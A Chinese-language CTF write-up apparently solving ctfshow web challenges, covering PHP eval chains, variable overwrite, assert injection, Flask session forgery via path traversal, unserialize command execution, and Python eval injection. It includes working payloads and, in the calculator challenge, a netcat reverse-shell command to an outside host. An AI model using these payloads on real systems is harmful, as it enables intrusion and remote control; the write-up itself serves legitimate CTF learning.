目录

  1. 1. 前言
  2. 2. WEB
    1. 2.1. web签到
    2. 2.2. web2 c0me_t0_s1gn
    3. 2.3. 我的眼里只有$
    4. 2.4. 抽老婆
    5. 2.5. 一言既出
    6. 2.6. 驷马难追
    7. 2.7. TapTapTap
    8. 2.8. Webshell
    9. 2.9. 化零为整
    10. 2.10. 无一幸免
    11. 2.11. 无一幸免_FIXED
    12. 2.12. 传说之下(雾)
    13. 2.13. 算力超群
    14. 2.14. 算力升级(待完成)
    15. 2.15. 遍地飘零

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ctfshow 菜狗杯

2023/6/6 CTF线上赛 刷题 ctfshow
  |     |   总文章阅读量:

前言

官方wp

现在回来再看看上个学期打的比赛,感觉考点很明显,而且难度也不是特别高

WEB

web签到

传参

进去看到题目源码

<?php
error_reporting(0);
highlight_file(__FILE__);

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

后面的一串数组看着吓人,仔细观察会发现这是$_REQUEST参数的一部分,因为我们传入的参数实际上都是以数组形式传入,所以后面这串数组最后只会增加$_REQUEST参数的维数

于是我们一步一步来,

先传入cookie=CTFshow-QQ%e7%be%a4%3a=a$_POST提供参数a,这里中文要经过url编码

然后POST传入a=b$_GET提供参数b

接着GET传入b=c$_REQUEST提供参数c

最后GET或POST请求传入c[6][0][7][5][8][0][9][4][4]=system('ls /');

image-20230606090256848

tac /f1agaaa即可获取flag


web2 c0me_t0_s1gn

html+js web基础

进入题目,f12发现hint和前半段flag

image-20230606090543517

来到控制台又发现一个hint

image-20230606090707717

跟着做就能获取后半段flag

flag:ctfshow{We1c0me_t0_jo1n_u3_!}


我的眼里只有$

变量覆盖

<?php
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

emm…整了37个$,本质上还是一道变量覆盖,只要连续覆盖36次就行了(x

如果嫌手搓参数麻烦,这里有官方给的exp一步到位

<?php
$str="_=__";
$res="";
echo "_=__&";
for ($i=0; $i < 34; $i++) { 
        $str="_".$str."_";
        echo $str."&";
        if($i==33){
                echo explode("=", $str)[1]."=eval(\$_GET[a]);";
        }
}

最后在POST请求传入_=__&__=___&___=____&____=_____&_____=______&______=_______&_______=________&________=_________&_________=__________&__________=___________&___________=____________&____________=_____________&_____________=______________&______________=_______________&_______________=________________&________________=_________________&_________________=__________________&__________________=___________________&___________________=____________________&____________________=_____________________&_____________________=______________________&______________________=_______________________&_______________________=________________________&________________________=_________________________&_________________________=__________________________&__________________________=___________________________&___________________________=____________________________&____________________________=_____________________________&_____________________________=______________________________&______________________________=_______________________________&_______________________________=________________________________&________________________________=_________________________________&_________________________________=__________________________________&__________________________________=___________________________________&___________________________________=____________________________________&____________________________________=eval($_GET[a]);

GET传入?a=system('ls /');

image-20230606091804857

tac /f1agaaa获取flag


抽老婆

任意文件下载+session伪造

进入题目,点击开始来到抽老婆的界面,江风嘿嘿

发现有一个下载老婆的选项,f12打开选中这个元素发现存在一个/download?file=的路由

image-20230606092333459

在这个路由下随便输点东西,整出debug报错来,可以看到页面源码在/app.py,且读取路径是/app/static/img/

image-20230606092834742

目录穿越下载app.py

image-20230606093115323

得到flask源码

# !/usr/bin/env python
# -*-coding:utf-8 -*-

"""
# File       : app.py
# Time       :2022/11/07 09:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:抽老婆,哇偶~
"""

from flask import *
import os
import random
from flag import flag

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

@app.route('/', methods=['GET'])
def index():  
    return render_template('index.html')


@app.route('/getwifi', methods=['GET'])
def getwifi():
    session['isadmin']=False
    wifi=random.choice(os.listdir('static/img'))
    session['current_wifi']=wifi
    return render_template('getwifi.html',wifi=wifi)



@app.route('/download', methods=['GET'])
def source(): 
    filename=request.args.get('file')
    if 'flag' in filename:
        return jsonify({"msg":"你想干什么?"})
    else:
        return send_file('static/img/'+filename,as_attachment=True)


@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})



if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=True)

很明显获取flag需要让session解析后的值等于isadmin,而且SECRET_KEY也已经给出来了,接下来要做的就是session伪造

访问/secret_path_U_never_know拿到session

image-20230606093750228

base64解一下发现"isadmin":false,所以我们要做的是把false改为true

flask_session_cookie_manager3.py脚本跑一下

image-20230606094025621

带上这个session值传cookie即可获取flag

image-20230606094250587


一言既出

assert断言

进入题目看到源码

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
    if ($_GET['num'] == 114514){
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;
    } 
} 

很明显我们需要构造一个语句使assert("intval($_GET[num])==1919810")为真即可

首先要让?num=114514,然后像sql注入一样用)进行闭合,再想办法让后面的语句为真即可

payload:

/?num=114514)or(1919810

这里or也可以改为;


驷马难追

assert+intval转换

进入题目看到源码

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
     if ($_GET['num'] == 114514 && check($_GET['num'])){
              assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
              echo $flag;
     } 
} 

function check($str){
  return !preg_match("/[a-z]|\;|\(|\)/",$str);
} 

前面部分和上题一样,但是多加了一个过滤的函数,使得我们不能构造上题类似的注入语句

这个时候我们可以从assert("intval($_GET[num])==1919810"这个语句出发,

在本地测试发现,虽然intval函数不能直接对传入的参数进行计算,但是在assert的断言语句中是可以实现计算的

测试代码:

<?php
echo $_GET['num'];
echo "<br>";
echo intval($_GET['num']);
echo "<br>";
echo assert(intval($_GET['num']));
echo "<br>";
if (assert("intval($_GET[num])==114515")){
    echo "suki";
}

image-20230606154439244

因此本题的payload就是:

?num=114514%2b1919810-114514

注意+号一定要url编码不然会被解析成空格


TapTapTap

js

进入题目,发现是小游戏,直接翻js

在habibiScript.js中搜索alert

image-20230606155122277

发现base64语句

解得”Your flag is in /secret_path_you_do_not_know/secretfile.txt”

访问/secret_path_you_do_not_know/secretfile.txt得到flag


Webshell

简单的反序列化

进入题目看到源码

 <?php 
    error_reporting(0);
    class Webshell {
        public $cmd = 'echo "Hello World!"';
        public function __construct() {
            $this->init();
        }
        public function init() {
            if (!preg_match('/flag/i', $this->cmd)) {
                $this->exec($this->cmd);
            }
        }
        public function exec($cmd) {
            $result = shell_exec($cmd);
            echo $result;
        }
    }
    if(isset($_GET['cmd'])) {
        $serializecmd = $_GET['cmd'];
        $unserializecmd = unserialize($serializecmd);
        $unserializecmd->init();
    }
    else {
        highlight_file(__FILE__);
    }
?> 

逻辑很清晰,我们要改动的部分只有$cmd的值,这个值经过init()方法的过滤,最终会在shell_exec处作为命令执行

init()方法中的过滤方式是匹配flag这个字符串

所以我们只需要利用通配符*进行绕过即可

exp:

<?php
class Webshell {
    public $cmd = 'echo "Hello World!"';
}
$a=new Webshell();
$a->cmd="ls"; // 此处是要执行的命令
echo serialize($a);

// O:8:"Webshell":1:{s:3:"cmd";s:2:"ls";}

查看目录

image-20230606162252358

获取flag

image-20230606162352479


化零为整

字符拼接

进入题目,看见源码

<?php

highlight_file(__FILE__);
include "flag.php";

$result='';

for ($i=1;$i<=count($_GET);$i++){
    if (strlen($_GET[$i])>1){
        die("你太长了!!");
        }
    else{
    $result=$result.$_GET[$i];
    }
}

if ($result ==="大牛"){
    echo $flag;
}

观察代码,发现每次传入的字符长度只能为1,

$result=$result.$_GET[$i];会对每个传入的参数的值进行拼接

同时因为for ($i=1;$i<=count($_GET);$i++),我们每个传入的参数都得是数字

于是这里对大牛进行url编码,逐个字符传入即可

payload:

?1=%e5&2=%a4&3=%a7&4=%e7&5=%89&6=%9b


无一幸免

进入题目,看到源码

<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
    $arr[$_GET['0']]=1;
    if ($arr[]=1){
        die($flag);
    }
    else{
        die("nonono!");
    }
}

只要让$arr[]=1即可获取flag,

$arr[]=1的意思是在数组中追加一个数并且赋值为1,

本地测试:

<?php
    $a=array(1,2,3,4,5);
    $a[]=1;
    var_dump($a);

image-20230606165532560

因此只要有传参数进去就能获取flag

payload:

?0=

无一幸免_FIXED

追加数组溢出

进入题目,看到源码

<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
    $arr[$_GET['0']]=1;
    if ($arr[]=1){
        die("nonono!");
    }
    else{
        die($flag);
    }
}
?> 

和原来的不同之处在于两个条件互换了下位置

而此时回显nonono!条件永真

此时如果想要绕过if ($arr[]=1),就要让$arr[]=1赋值失败

这里运用的原理是:索引数组最大下标等于最大int数,对其追加会导致整型数溢出,进而引起追加失败

32位为2147483647,64为9223372036854775807

本题是64位,所以payload:

?0=9223372036854775807

此时执行$arr[]=1会失败


传说之下(雾)

js代码审计

进入题目,是小游戏

f12查看js源码

发现有js混淆,不能直接读flag了

那就审计下js代码

image-20230606170940206

游戏由类 Underophidian 实现,只需在控制台修改Game中对应分数的变量即可

输入Game查看其中的变量,发现score

修改Game.score=2077

开始游戏,获得flag

image-20230606171212584


算力超群

python沙箱逃逸

进入题目,发现是个计算器

点击hint,没有什么有用的提示信息

随便输入几个数字算一下

image-20230706194011407

在网络中发现一个_calculate路由

参数有number1,operator和number2

复制路由下来,修改参数的值为随便一个字符弄出报错界面来

image-20230706194532123

可以发现计算结果是用eval()函数输出的,那就存在命令执行

测试一下发现number1和operator参数存在过滤,而number2参数没有

那就直接在number2处进行命令执行反弹shell

/_calculate?number1=3&operator=%2B&number2=__import__('os').system('nc 76135132qk.imdo.co 50132 -e /bin/sh')

获取flag

image-20230706195428878


算力升级(待完成)

pyjail

进入题目,发现可以直接查看源码

# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File       : app.py
# Time       :2022/10/20 15:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:算力升级--这其实是一个pyjail题目
"""
from flask import *
import os
import re,gmpy2 
import json
#初始化全局变量
app = Flask(__name__)
pattern=re.compile(r'\w+')
@app.route('/', methods=['GET'])
def index():  
    return render_template('index.html')
@app.route('/tiesuanzi', methods=['POST'])
def tiesuanzi():
    code=request.form.get('code')
    for item in pattern.findall(code):#从code里把单词拿出来
        if not re.match(r'\d+$',item):#如果不是数字
            if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
               return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})
    try:
        result=eval(code)
        return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})
    except:
        return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})
@app.route('/source', methods=['GET'])
def source():  
    return render_template('source.html')
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=False)

审计源码,很明显只能让我们用数字或者gmpy2库里面的函数来操作


遍地飘零

变量覆盖

进入题目,看到源码

<?php
include "flag.php";
highlight_file(__FILE__);

$zeros="000000000000000000000000000000";

foreach($_GET as $key => $value){
    $$key=$$value;
}

if ($flag=="000000000000000000000000000000"){
    echo "好多零";
}else{
    echo "没有零,仔细看看输入有什么问题吧";
    var_dump($_GET);
}

前面foreach的部分在我的变量覆盖的一次探索文章中有研究过

直接看到var_dump部分,这里会输出输出$_GET的值

如果_GET不是本地变量的话,后台会输出GET请求传递过去的参数

因此_GET必须是本地变量,也就是GET请求传递的参数;同时,还需要参数值为flag,才能进行变量覆盖

payload:

?_GET=flag